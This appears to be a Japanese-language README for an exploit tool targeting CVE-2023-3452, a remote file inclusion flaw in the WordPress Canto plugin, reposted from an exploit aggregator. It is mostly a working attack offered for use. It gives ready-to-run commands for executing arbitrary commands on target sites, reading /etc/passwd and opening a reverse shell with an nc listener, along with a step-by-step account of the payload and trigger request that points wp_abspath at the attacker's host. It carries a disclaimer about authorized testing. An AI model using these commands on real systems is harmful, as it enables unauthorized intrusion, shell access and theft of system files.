## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-ALPASTX-CVE-2023-3452---WORDPRESS-CANTO-PLUGIN-RCE
# CVE-2023-3452 - WordPress CantoプラグインRCE
WordPress Cantoプラグイン(≤ 3.0.4)のRFI脆弱性のエクスプロイト。**HTTPSでも実際に動作します** — 他の公開PoCはSSLで諦めていました。
_クレジットは当然: このCVEは他の人が発見しました。私はHTTPSターゲットで壊れないバージョンを作っただけです。_
## 脆弱性
|
---|---
**CVE**| CVE-2023-3452
**EDB-ID**| 51826
**タイプ**| リモートファイルインクルード(RFI)→未認証RCE
**影響を受けるバージョン**| WordPress Cantoプラグイン < 3.0.5 (≤ 3.0.4)
**公開者**| Leopoldo Angulo (leoanggal1) — 2024-02-27
**場所**| `/wp-content/plugins/canto/includes/lib/download.php`
**ベクター**| `wp_abspath`が検証なしでPHPファイルのインクルードに使用される — リモートからファイルをインクルードします。
## なぜこれなのか?
このCVEのほとんどのエクスプロイトはSSL検証のためHTTPSで動作しません。このスクリプトは:
* `verify=False`を使用してHTTPSターゲットで実際に動作するように
* urllib3の警告スパムを抑制
* HTTPとHTTPSの両方で同じように動作 — 別途設定は不要
## 必要条件
* Python 3.6+
* `requests`
## インストール
root@kitploit:~
pip install -r requirements.txt
または単に: `pip install requests`
## 使用法
root@kitploit:~
python3 canto_exploit.py -t <TARGET_URL> -l <LHOST> -p <LPORT> [OPTIONS]
### 引数
* コマンドなし = 正常性確認として `id; whoami; hostname` を実行
### 例
**単一コマンド:**
root@kitploit:~
python3 canto_exploit.py -t https://target.com -l 10.10.14.33 -p 8888 -c "id"
**ファイルを読む:**
root@kitploit:~
python3 canto_exploit.py -t https://target.com -l 10.10.14.33 -p 8888 -c "cat /etc/passwd"
**リバースシェル** (最初に `nc -lvnp 4444` を実行):
root@kitploit:~
python3 canto_exploit.py -t https://target.com -l 10.10.14.33 -p 8888 --revshell --shell-port 4444
**インタラクティブモード:**
root@kitploit:~
python3 canto_exploit.py -t https://target.com -l 10.10.14.33 -p 8888 -i
**HTTPS CTFターゲット:**
root@kitploit:~
python3 canto_exploit.py -t https://10.129.1.136 -l 10.10.14.33 -p 8888 -c "id"
## 動作の仕組み
1. **チェック** — `/wp-content/plugins/canto/readme.txt` にアクセスし、バージョンを解析 (≤ 3.0.4 = 脆弱)
2. **ペイロード** — `system()` 経由でコマンドを実行する偽の `wp-admin/admin.php` を書き込む
3. **サーブ** — ローカルHTTPサーバーを起動し、ターゲットがファイルを取得できるようにする
4. **トリガー** — `wp_abspath=http://LHOST:LPORT` を含む `download.php` をリクエストし、リモートPHPをインクルードさせる
5. **実行** — 相手のサーバーがコードを実行し、出力を取得する
## ネットワークに関する注意事項
* ターゲットは `LHOST:LPORT` であなたのマシンに到達できる必要があります (HTB/ラボの場合、それはあなたのVPN IPです)
* ファイアウォールはペイロードポート (`-p`) のインバウンドを許可する必要があります
## 免責事項
許可されたテストおよび教育目的のみに使用してください。許可されたシステムのみにアクセスしてください。それ以外は違法です。
## ライセンス
MIT